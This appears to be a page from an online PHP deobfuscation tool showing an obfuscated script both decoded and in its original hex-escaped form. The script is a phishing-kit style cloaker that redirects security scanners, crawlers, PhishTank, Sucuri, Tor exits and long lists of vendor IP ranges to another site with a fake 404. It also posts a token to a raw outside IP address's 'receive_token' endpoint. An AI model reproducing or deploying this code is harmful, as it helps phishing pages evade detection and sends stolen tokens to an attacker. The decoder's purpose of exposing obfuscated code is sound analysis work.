Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto rmZKG; Lwy2Y: $f6650d6e = array("\x64\162\167\x65\x62", "\150\x6f\x73\x74\151..

Decoded Output download

<?php 
 goto rmZKG; Lwy2Y: $f6650d6e = array("drweb", "hostinger", "scanurl", "above", "google", "Dr.Web", "facebook", "softlayer", "amazonaws", "cyveillance", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "phishtank", "msnbot", "p3pwgdsn", "netcraft", "trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler"); goto wv0Xr; rmZKG: $c28dd9c = $_SERVER["REMOTE_ADDR"]; goto vjlW2; wv0Xr: foreach ($f6650d6e as $e540ca) { if (substr_count($e5bd3f5f, $e540ca) > 0) { header("Location: http://2m.ma"); echo "<h1>404 Not Found</h1>The page that you have requested could not be found."; } } goto JH9CA; FN25k: $data = array("token" => $token); goto TTD4z; Ku3GL: $e5bd3f5f = gethostbyaddr($c28dd9c); goto Lwy2Y; TTD4z: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($data)))); goto cnlsQ; cnlsQ: file_get_contents($url, false, $context); goto w0IvA; JH9CA: if (!empty($_SERVER["HTTP_USER_AGENT"])) { $c3d1b = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); foreach ($c3d1b as $cef6a) { if (strpos($_SERVER["HTTP_USER_AGENT"], $cef6a) !== false) { die(header("Location: http://2m.ma")); } } } goto xnNwB; w0IvA: $c97e57ec = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^173.239.*.*", "^173.244.36.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "173.239.240.147", "103.248.172.42", "87.113.96.90", "165.227.0.128", "185.229.190.140", "165.227.0.128", "46.101.94.163", "165.227.39.194", "87.113.96.90", "46.101.119.24", "82.102.27.75", "173.239.230.97", "82.102.27.75", "87.113.96.90", "46.101.119.24", "173.239.230.97", "87.113.96.90", "87.113.96.90", "159.203.0.156", "162.243.187.126", "82.102.27.75", "87.113.96.90", "103.248.172.42", "103.248.172.42", "47.30.133.89", "103.248.172.42"); goto ZVAMp; vjlW2: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto FN25k; ZVAMp: if (in_array($c28dd9c, $c97e57ec)) { die(header("Location: http://2m.ma")); } else { foreach ($c97e57ec as $a4ade) { if (preg_match("/" . $a4ade . "/", $c28dd9c)) { header("Location: http://2m.ma"); echo "<h1>404 Not Found</h1>The page that you have requested could not be found."; } } } goto Ku3GL; xnNwB: ?>

Did this file decode correctly?

Original Code

<?php
 goto rmZKG; Lwy2Y: $f6650d6e = array("\x64\162\167\x65\x62", "\150\x6f\x73\x74\151\x6e\x67\145\x72", "\163\x63\141\156\165\162\154", "\141\x62\x6f\166\x65", "\x67\x6f\157\x67\x6c\x65", "\104\x72\56\x57\x65\142", "\146\x61\x63\x65\142\x6f\157\153", "\163\157\x66\164\x6c\141\171\145\162", "\x61\155\141\x7a\157\156\141\x77\163", "\x63\x79\166\145\151\154\154\141\156\143\145", "\x64\162\x65\x61\155\x68\x6f\163\164", "\156\145\164\160\x69\x6c\x6f\x74", "\x63\x61\x6c\x79\x78\x69\x6e\x73\164\151\x74\x75\164\x65", "\x74\x6f\162\55\x65\x78\151\164", "\x70\150\x69\x73\x68\x74\x61\x6e\x6b", "\x6d\x73\156\142\x6f\164", "\x70\x33\x70\x77\147\x64\163\x6e", "\x6e\145\x74\x63\162\x61\x66\164", "\x74\162\x65\156\x64\x6d\151\143\x72\157", "\145\142\141\x79", "\160\x61\171\160\x61\154", "\164\x6f\162\163\145\x72\x76\x65\x72\163", "\x6d\145\163\x73\x61\x67\145\154\141\142\163", "\163\165\x63\x75\x72\x69\x2e\156\145\x74", "\x63\x72\141\x77\154\x65\x72"); goto wv0Xr; rmZKG: $c28dd9c = $_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\104\104\x52"]; goto vjlW2; wv0Xr: foreach ($f6650d6e as $e540ca) { if (substr_count($e5bd3f5f, $e540ca) > 0) { header("\114\157\143\x61\164\151\x6f\x6e\72\x20\150\164\164\x70\72\57\57\x32\155\56\x6d\x61"); echo "\x3c\x68\61\76\64\x30\x34\x20\116\x6f\x74\x20\x46\x6f\165\156\144\x3c\57\x68\x31\x3e\x54\x68\145\x20\160\x61\x67\x65\40\164\x68\x61\164\x20\x79\157\165\x20\x68\141\x76\145\40\x72\145\161\165\145\163\164\145\144\x20\x63\x6f\x75\154\x64\40\x6e\157\164\x20\142\145\40\146\157\165\x6e\x64\x2e"; } } goto JH9CA; FN25k: $data = array("\x74\x6f\x6b\145\156" => $token); goto TTD4z; Ku3GL: $e5bd3f5f = gethostbyaddr($c28dd9c); goto Lwy2Y; TTD4z: $context = stream_context_create(array("\150\x74\x74\x70" => array("\150\x65\141\x64\x65\x72" => "\x43\x6f\x6e\164\x65\x6e\164\55\x74\x79\160\145\x3a\40\141\160\x70\154\151\x63\141\164\151\157\x6e\x2f\170\x2d\x77\x77\167\55\x66\157\162\155\55\x75\x72\x6c\x65\x6e\143\x6f\x64\145\144\xd\xa", "\x6d\x65\x74\x68\157\x64" => "\120\x4f\x53\124", "\x63\x6f\x6e\x74\145\x6e\164" => http_build_query($data)))); goto cnlsQ; cnlsQ: file_get_contents($url, false, $context); goto w0IvA; JH9CA: if (!empty($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\x52\x5f\101\107\x45\116\124"])) { $c3d1b = array("\x47\157\157\147\154\145", "\x53\x6c\165\162\x70", "\115\123\x4e\102\157\x74", "\x69\x61\x5f\x61\162\x63\x68\x69\x76\x65\162", "\131\x61\x6e\x64\145\x78", "\x52\141\x6d\x62\x6c\145\162"); foreach ($c3d1b as $cef6a) { if (strpos($_SERVER["\x48\124\x54\x50\x5f\x55\x53\105\x52\x5f\101\107\105\x4e\124"], $cef6a) !== false) { die(header("\x4c\x6f\143\x61\164\151\157\x6e\x3a\40\x68\164\x74\160\72\57\x2f\62\155\x2e\x6d\x61")); } } } goto xnNwB; w0IvA: $c97e57ec = array("\136\66\x36\x2e\x31\60\62\56\x2a\56\52", "\x5e\63\70\56\61\60\60\56\52\x2e\52", "\136\61\x30\67\x2e\61\x37\x30\56\52\56\52", "\136\61\x34\x39\x2e\x32\x30\56\52\x2e\x2a", "\136\63\70\56\x31\x30\65\x2e\52\x2e\52", "\x5e\61\67\x33\x2e\x32\x33\x39\56\52\56\52", "\x5e\x31\67\x33\56\62\x34\x34\x2e\63\x36\x2e\x2a", "\136\67\64\x2e\x31\x32\65\x2e\x2a\56\52", "\136\66\66\x2e\61\65\60\x2e\61\64\56\52", "\x5e\x35\64\x2e\x31\67\x36\x2e\52\56\52", "\x5e\x33\x38\x2e\61\x30\x30\56\x2a\x2e\52", "\x5e\61\x38\64\56\61\x37\63\56\x2a\56\52", "\136\x36\66\x2e\x32\64\x39\x2e\52\56\52", "\136\x31\x32\70\56\62\64\62\56\52\x2e\x2a", "\136\67\x32\x2e\61\64\x2e\x31\71\x32\56\52", "\x5e\x32\60\x38\56\66\x35\x2e\x31\x34\64\56\x2a", "\x5e\67\x34\56\61\62\65\x2e\x2a\x2e\x2a", "\x5e\x32\x30\71\56\70\65\56\x31\x32\x38\56\x2a", "\136\62\61\66\56\62\x33\71\x2e\x33\x32\56\x2a", "\x5e\x37\x34\x2e\61\x32\65\56\52\x2e\52", "\136\62\60\x37\x2e\61\x32\x36\x2e\x31\x34\64\x2e\52", "\136\61\x37\x33\56\61\71\x34\x2e\52\x2e\52", "\x5e\66\x34\x2e\x32\x33\x33\56\61\66\60\x2e\52", "\x5e\x37\62\x2e\x31\64\56\61\x39\x32\56\52", "\136\66\x36\x2e\61\60\62\x2e\x2a\56\x2a", "\136\x36\64\56\x31\x38\x2e\52\56\x2a", "\x5e\x31\x39\x34\x2e\65\62\56\66\70\56\52", "\136\61\71\x34\56\67\x32\x2e\x32\x33\x38\x2e\x2a", "\x5e\66\62\56\x31\x31\x36\56\x32\x30\x37\x2e\x2a", "\x5e\62\61\62\56\65\x30\56\61\71\x33\56\x2a", "\136\x36\x39\x2e\x36\x35\x2e\x2a\x2e\x2a", "\136\x35\x30\56\67\56\x2a\x2e\52", "\136\61\x33\x31\56\62\61\62\56\x2a\56\x2a", "\x5e\x34\66\x2e\x31\61\x36\x2e\52\56\x2a\x20", "\x5e\66\x32\x2e\71\60\56\x2a\x2e\52", "\136\70\x39\56\x31\63\x38\56\52\56\52", "\136\70\62\56\61\66\x36\56\x2a\56\52", "\x5e\x38\x35\x2e\x36\x34\x2e\52\56\52", "\x5e\x38\65\x2e\x32\65\60\x2e\x2a\x2e\x2a", "\136\x38\x39\x2e\x31\63\70\56\52\56\x2a", "\x5e\x39\x33\56\61\x37\62\56\x2a\x2e\x2a", "\136\61\x30\x39\56\x31\70\66\56\52\x2e\x2a", "\x5e\61\71\x34\56\x39\x30\x2e\x2a\x2e\52", "\136\x32\x31\x32\56\62\71\56\61\71\x32\x2e\x2a", "\x5e\x32\x31\x32\x2e\62\71\x2e\x32\x32\x34\56\52", "\136\62\61\62\56\x31\64\x33\x2e\x2a\56\x2a", "\x5e\x32\61\62\x2e\61\x35\x30\x2e\52\x2e\x2a", "\136\62\61\62\x2e\62\63\x35\56\52\56\52", "\x5e\62\x31\x37\56\x31\63\x32\x2e\x2a\x2e\x2a", "\136\x35\x30\56\71\67\56\x2a\56\x2a", "\136\62\61\67\56\x31\63\x32\56\52\x2e\52", "\136\62\60\x39\56\70\x35\x2e\52\x2e\52", "\136\x36\66\56\62\60\65\x2e\x36\x34\56\x2a", "\x5e\62\60\64\x2e\61\64\56\x34\70\56\52", "\136\x36\64\56\x32\x37\x2e\62\x2e\x2a", "\136\66\x37\56\x31\x35\x2e\52\56\52", "\136\x32\60\x32\x2e\x31\60\x38\x2e\x32\x35\62\56\52", "\x5e\x31\71\63\56\64\x37\56\70\60\x2e\x2a", "\x5e\66\64\x2e\x36\x32\56\61\x33\66\x2e\x2a", "\x5e\x36\66\56\62\x32\x31\x2e\52\56\x2a", "\136\66\x34\x2e\x36\62\x2e\x31\67\x35\56\x2a", "\x5e\61\x39\70\x2e\65\64\56\x2a\56\52", "\136\x31\71\x32\x2e\x31\61\x35\x2e\x31\x33\x34\56\52", "\136\62\61\x36\x2e\x32\65\x32\56\61\x36\67\56\52", "\136\x31\x39\x33\56\62\x35\x33\56\x31\x39\x39\56\x2a", "\136\66\71\x2e\x36\61\56\61\x32\x2e\x2a", "\x5e\x36\64\x2e\x33\67\56\x31\60\63\x2e\52", "\136\63\70\x2e\61\64\64\x2e\x33\66\56\52", "\x5e\x36\x34\x2e\61\x32\64\56\61\x34\x2e\x2a", "\136\x32\60\x36\56\x32\70\x2e\x37\62\x2e\x2a", "\x5e\62\60\x39\x2e\x37\x33\56\x32\62\70\x2e\52", "\x5e\x31\x35\x38\x2e\x31\x30\x38\x2e\x2a\x2e\x2a", "\x5e\61\66\x38\56\61\70\x38\x2e\x2a\x2e\x2a", "\136\66\x36\x2e\x32\60\67\x2e\61\x32\x30\x2e\52", "\136\x31\x36\67\56\62\x34\x2e\52\x2e\x2a", "\136\61\71\x32\x2e\x31\x31\x38\x2e\64\x38\x2e\52", "\x5e\66\x37\56\x32\60\71\x2e\61\62\x38\56\x2a", "\x5e\x31\62\x2e\61\64\x38\56\x32\60\x39\56\x2a", "\136\61\62\x2e\61\x34\x38\56\x31\71\66\56\52", "\x5e\61\x39\63\56\x32\62\60\x2e\61\67\70\x2e\52", "\66\70\56\66\65\x2e\x35\63\56\67\61", "\x5e\x31\x39\70\56\62\x35\x2e\52\x2e\52", "\x5e\66\x34\56\61\60\66\x2e\62\61\63\56\52", "\x31\67\x33\56\62\x33\x39\x2e\62\64\60\x2e\x31\64\67", "\x31\x30\63\56\62\64\x38\x2e\61\x37\62\x2e\64\62", "\x38\x37\56\x31\61\x33\56\71\x36\56\x39\x30", "\x31\66\x35\56\x32\62\67\56\60\x2e\x31\x32\70", "\61\x38\65\x2e\x32\62\x39\56\61\71\x30\56\x31\x34\x30", "\x31\x36\x35\56\62\x32\67\x2e\x30\x2e\61\62\x38", "\x34\66\x2e\x31\60\x31\56\x39\x34\x2e\61\x36\x33", "\x31\x36\65\x2e\x32\x32\x37\x2e\63\71\x2e\x31\x39\x34", "\70\67\56\x31\61\x33\x2e\x39\x36\56\x39\60", "\x34\66\x2e\61\x30\x31\56\61\x31\71\56\x32\x34", "\70\62\x2e\61\x30\x32\x2e\x32\67\x2e\67\x35", "\61\x37\x33\56\62\63\71\56\x32\63\60\x2e\x39\67", "\70\62\x2e\61\60\x32\x2e\x32\x37\x2e\x37\65", "\x38\x37\56\x31\x31\x33\56\x39\66\56\71\60", "\64\x36\x2e\x31\x30\61\x2e\x31\61\x39\56\x32\x34", "\61\x37\x33\x2e\x32\x33\71\56\x32\x33\60\x2e\x39\67", "\x38\x37\x2e\x31\61\63\56\71\x36\56\x39\x30", "\70\x37\x2e\x31\x31\x33\56\x39\x36\x2e\71\x30", "\x31\65\71\x2e\x32\x30\63\x2e\x30\x2e\x31\x35\x36", "\61\x36\x32\x2e\62\64\63\56\61\x38\x37\x2e\x31\x32\66", "\70\62\56\x31\x30\62\56\62\67\56\x37\65", "\x38\67\x2e\x31\61\63\x2e\71\x36\x2e\71\x30", "\x31\60\x33\56\62\x34\70\x2e\x31\67\x32\x2e\x34\x32", "\61\60\63\x2e\x32\64\x38\56\61\x37\62\56\64\62", "\64\x37\x2e\63\60\x2e\x31\63\x33\x2e\x38\x39", "\61\x30\x33\56\62\x34\x38\x2e\61\x37\x32\x2e\64\62"); goto ZVAMp; vjlW2: $url = "\150\x74\164\160\72\x2f\57\x31\60\62\x2e\x31\x36\65\56\61\x34\x2e\64\72\65\60\60\60\57\162\x65\x63\145\151\x76\145\x5f\x74\x6f\153\x65\x6e\x3f\x72\145\x66\x65\162\162\145\x72\x3d\x6c\x6f\143\x6f"; goto FN25k; ZVAMp: if (in_array($c28dd9c, $c97e57ec)) { die(header("\114\157\143\141\x74\x69\x6f\x6e\72\x20\150\x74\x74\x70\x3a\x2f\57\62\x6d\56\x6d\x61")); } else { foreach ($c97e57ec as $a4ade) { if (preg_match("\x2f" . $a4ade . "\x2f", $c28dd9c)) { header("\114\x6f\143\141\x74\x69\157\x6e\x3a\x20\x68\x74\164\x70\72\57\x2f\62\155\x2e\155\x61"); echo "\74\150\x31\x3e\64\60\64\40\116\x6f\164\x20\106\157\x75\156\x64\x3c\x2f\x68\61\76\124\x68\x65\40\x70\141\x67\x65\x20\164\x68\x61\164\40\171\x6f\x75\x20\150\x61\x76\x65\40\x72\x65\x71\x75\145\x73\x74\x65\x64\x20\x63\157\165\154\144\x20\156\x6f\x74\40\142\145\40\x66\x6f\165\x6e\x64\56"; } } } goto Ku3GL; xnNwB: ?>

Function Calls

None

Variables

None

Stats

MD5 e3e296e7faf35db6019f7269d2ea3e19
Eval Count 0
Decode Time 39 ms